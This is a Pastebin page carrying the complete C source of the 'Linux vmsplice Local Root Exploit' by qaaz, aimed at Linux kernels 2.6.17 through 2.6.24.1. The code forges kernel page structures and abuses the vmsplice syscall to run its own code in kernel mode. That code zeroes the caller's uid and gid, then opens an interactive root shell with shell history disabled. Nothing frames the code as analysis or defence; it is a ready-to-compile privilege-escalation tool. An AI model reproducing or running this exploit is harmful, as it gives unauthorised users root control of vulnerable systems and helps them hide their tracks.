Guest User

Untitled

a guest
Aug 20th, 2018
82
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.67 KB | None | 0 0
  1. /*
  2. * Linux vmsplice Local Root Exploit
  3. * By qaaz
  4. *
  5. * Linux 2.6.17 - 2.6.24.1
  6. */
  7.  
  8. #define _GNU_SOURCE
  9. #include <stdio.h>
  10. #include <errno.h>
  11. #include <stdlib.h>
  12. #include <string.h>
  13. #include <malloc.h>
  14. #include <limits.h>
  15. #include <signal.h>
  16. #include <unistd.h>
  17. #include <sys/uio.h>
  18. #include <sys/mman.h>
  19. #include <asm/page.h>
  20. #define __KERNEL__
  21. #include <asm/unistd.h>
  22.  
  23. #define PIPE_BUFFERS 16
  24. #define PG_compound 14
  25. #define uint unsigned int
  26. #define static_inline static inline __attribute__((always_inline))
  27. #define STACK(x) (x + sizeof(x) - 40)
  28.  
  29. struct page {
  30. unsigned long flags;
  31. int count;
  32. int mapcount;
  33. unsigned long private;
  34. void *mapping;
  35. unsigned long index;
  36. struct { long next, prev; } lru;
  37. };
  38.  
  39. void exit_code();
  40. char exit_stack[1024 * 1024];
  41.  
  42. void die(char *msg, int err)
  43. {
  44. printf(err ? "[-] %s: %s\n" : "[-] %s\n", msg, strerror(err));
  45. fflush(stdout);
  46. fflush(stderr);
  47. exit(1);
  48. }
  49.  
  50. #if defined (__i386__)
  51.  
  52. #ifndef __NR_vmsplice
  53. #define __NR_vmsplice 316
  54. #endif
  55.  
  56. #define USER_CS 0x73
  57. #define USER_SS 0x7b
  58. #define USER_FL 0x246
  59.  
  60. static_inline
  61. void exit_kernel()
  62. {
  63. __asm__ __volatile__ (
  64. "movl %0, 0x10(%%esp) ;"
  65. "movl %1, 0x0c(%%esp) ;"
  66. "movl %2, 0x08(%%esp) ;"
  67. "movl %3, 0x04(%%esp) ;"
  68. "movl %4, 0x00(%%esp) ;"
  69. "iret"
  70. : : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
  71. "i" (USER_CS), "r" (exit_code)
  72. );
  73. }
  74.  
  75. static_inline
  76. void * get_current()
  77. {
  78. unsigned long curr;
  79. __asm__ __volatile__ (
  80. "movl %%esp, %%eax ;"
  81. "andl %1, %%eax ;"
  82. "movl (%%eax), %0"
  83. : "=r" (curr)
  84. : "i" (~8191)
  85. );
  86. return (void *) curr;
  87. }
  88.  
  89. #elif defined (__x86_64__)
  90.  
  91. #ifndef __NR_vmsplice
  92. #define __NR_vmsplice 278
  93. #endif
  94.  
  95. #define USER_CS 0x23
  96. #define USER_SS 0x2b
  97. #define USER_FL 0x246
  98.  
  99. static_inline
  100. void exit_kernel()
  101. {
  102. __asm__ __volatile__ (
  103. "swapgs ;"
  104. "movq %0, 0x20(%%rsp) ;"
  105. "movq %1, 0x18(%%rsp) ;"
  106. "movq %2, 0x10(%%rsp) ;"
  107. "movq %3, 0x08(%%rsp) ;"
  108. "movq %4, 0x00(%%rsp) ;"
  109. "iretq"
  110. : : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
  111. "i" (USER_CS), "r" (exit_code)
  112. );
  113. }
  114.  
  115. static_inline
  116. void * get_current()
  117. {
  118. unsigned long curr;
  119. __asm__ __volatile__ (
  120. "movq %%gs:(0), %0"
  121. : "=r" (curr)
  122. );
  123. return (void *) curr;
  124. }
  125.  
  126. #else
  127. #error "unsupported arch"
  128. #endif
  129.  
  130. #if defined (_syscall4)
  131. #define __NR__vmsplice __NR_vmsplice
  132. _syscall4(
  133. long, _vmsplice,
  134. int, fd,
  135. struct iovec *, iov,
  136. unsigned long, nr_segs,
  137. unsigned int, flags)
  138.  
  139. #else
  140. #define _vmsplice(fd,io,nr,fl) syscall(__NR_vmsplice, (fd), (io), (nr), (fl))
  141. #endif
  142.  
  143. static uint uid, gid;
  144.  
  145. void kernel_code()
  146. {
  147. int i;
  148. uint *p = get_current();
  149.  
  150. for (i = 0; i < 1024-13; i++) {
  151. if (p[0] == uid && p[1] == uid &&
  152. p[2] == uid && p[3] == uid &&
  153. p[4] == gid && p[5] == gid &&
  154. p[6] == gid && p[7] == gid) {
  155. p[0] = p[1] = p[2] = p[3] = 0;
  156. p[4] = p[5] = p[6] = p[7] = 0;
  157. p = (uint *) ((char *)(p + 8) + sizeof(void *));
  158. p[0] = p[1] = p[2] = ~0;
  159. break;
  160. }
  161. p++;
  162. }
  163.  
  164. exit_kernel();
  165. }
  166.  
  167. void exit_code()
  168. {
  169. if (getuid() != 0)
  170. die("wtf", 0);
  171.  
  172. printf("[+] root\n");
  173. putenv("HISTFILE=/dev/null");
  174. execl("/bin/bash", "bash", "-i", NULL);
  175. die("/bin/bash", errno);
  176. }
  177.  
  178. int main(int argc, char *argv[])
  179. {
  180. int pi[2];
  181. size_t map_size;
  182. char * map_addr;
  183. struct iovec iov;
  184. struct page * pages[5];
  185.  
  186. uid = getuid();
  187. gid = getgid();
  188. setresuid(uid, uid, uid);
  189. setresgid(gid, gid, gid);
  190.  
  191. printf("-----------------------------------\n");
  192. printf(" Linux vmsplice Local Root Exploit\n");
  193. printf(" By qaaz\n");
  194. printf("-----------------------------------\n");
  195.  
  196. if (!uid || !gid)
  197. die("!@#$", 0);
  198.  
  199. /*****/
  200. pages[0] = *(void **) &(int[2]){0,PAGE_SIZE};
  201. pages[1] = pages[0] + 1;
  202.  
  203. map_size = PAGE_SIZE;
  204. map_addr = mmap(pages[0], map_size, PROT_READ | PROT_WRITE,
  205. MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  206. if (map_addr == MAP_FAILED)
  207. die("mmap", errno);
  208.  
  209. memset(map_addr, 0, map_size);
  210. printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
  211. printf("[+] page: 0x%lx\n", pages[0]);
  212. printf("[+] page: 0x%lx\n", pages[1]);
  213.  
  214. pages[0]->flags = 1 << PG_compound;
  215. pages[0]->private = (unsigned long) pages[0];
  216. pages[0]->count = 1;
  217. pages[1]->lru.next = (long) kernel_code;
  218.  
  219. /*****/
  220. pages[2] = *(void **) pages[0];
  221. pages[3] = pages[2] + 1;
  222.  
  223. map_size = PAGE_SIZE;
  224. map_addr = mmap(pages[2], map_size, PROT_READ | PROT_WRITE,
  225. MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  226. if (map_addr == MAP_FAILED)
  227. die("mmap", errno);
  228.  
  229. memset(map_addr, 0, map_size);
  230. printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
  231. printf("[+] page: 0x%lx\n", pages[2]);
  232. printf("[+] page: 0x%lx\n", pages[3]);
  233.  
  234. pages[2]->flags = 1 << PG_compound;
  235. pages[2]->private = (unsigned long) pages[2];
  236. pages[2]->count = 1;
  237. pages[3]->lru.next = (long) kernel_code;
  238.  
  239. /*****/
  240. pages[4] = *(void **) &(int[2]){PAGE_SIZE,0};
  241. map_size = PAGE_SIZE;
  242. map_addr = mmap(pages[4], map_size, PROT_READ | PROT_WRITE,
  243. MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  244. if (map_addr == MAP_FAILED)
  245. die("mmap", errno);
  246. memset(map_addr, 0, map_size);
  247. printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
  248. printf("[+] page: 0x%lx\n", pages[4]);
  249.  
  250. /*****/
  251. map_size = (PIPE_BUFFERS * 3 + 2) * PAGE_SIZE;
  252. map_addr = mmap(NULL, map_size, PROT_READ | PROT_WRITE,
  253. MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  254. if (map_addr == MAP_FAILED)
  255. die("mmap", errno);
  256.  
  257. memset(map_addr, 0, map_size);
  258. printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
  259.  
  260. /*****/
  261. map_size -= 2 * PAGE_SIZE;
  262. if (munmap(map_addr + map_size, PAGE_SIZE) < 0)
  263. die("munmap", errno);
  264.  
  265. /*****/
  266. if (pipe(pi) < 0) die("pipe", errno);
  267. close(pi[0]);
  268.  
  269. iov.iov_base = map_addr;
  270. iov.iov_len = ULONG_MAX;
  271.  
  272. signal(SIGPIPE, exit_code);
  273. _vmsplice(pi[1], &iov, 1, 0);
  274. die("vmsplice", errno);
  275. return 0;
  276. }
Add Comment
Please, Sign In to add comment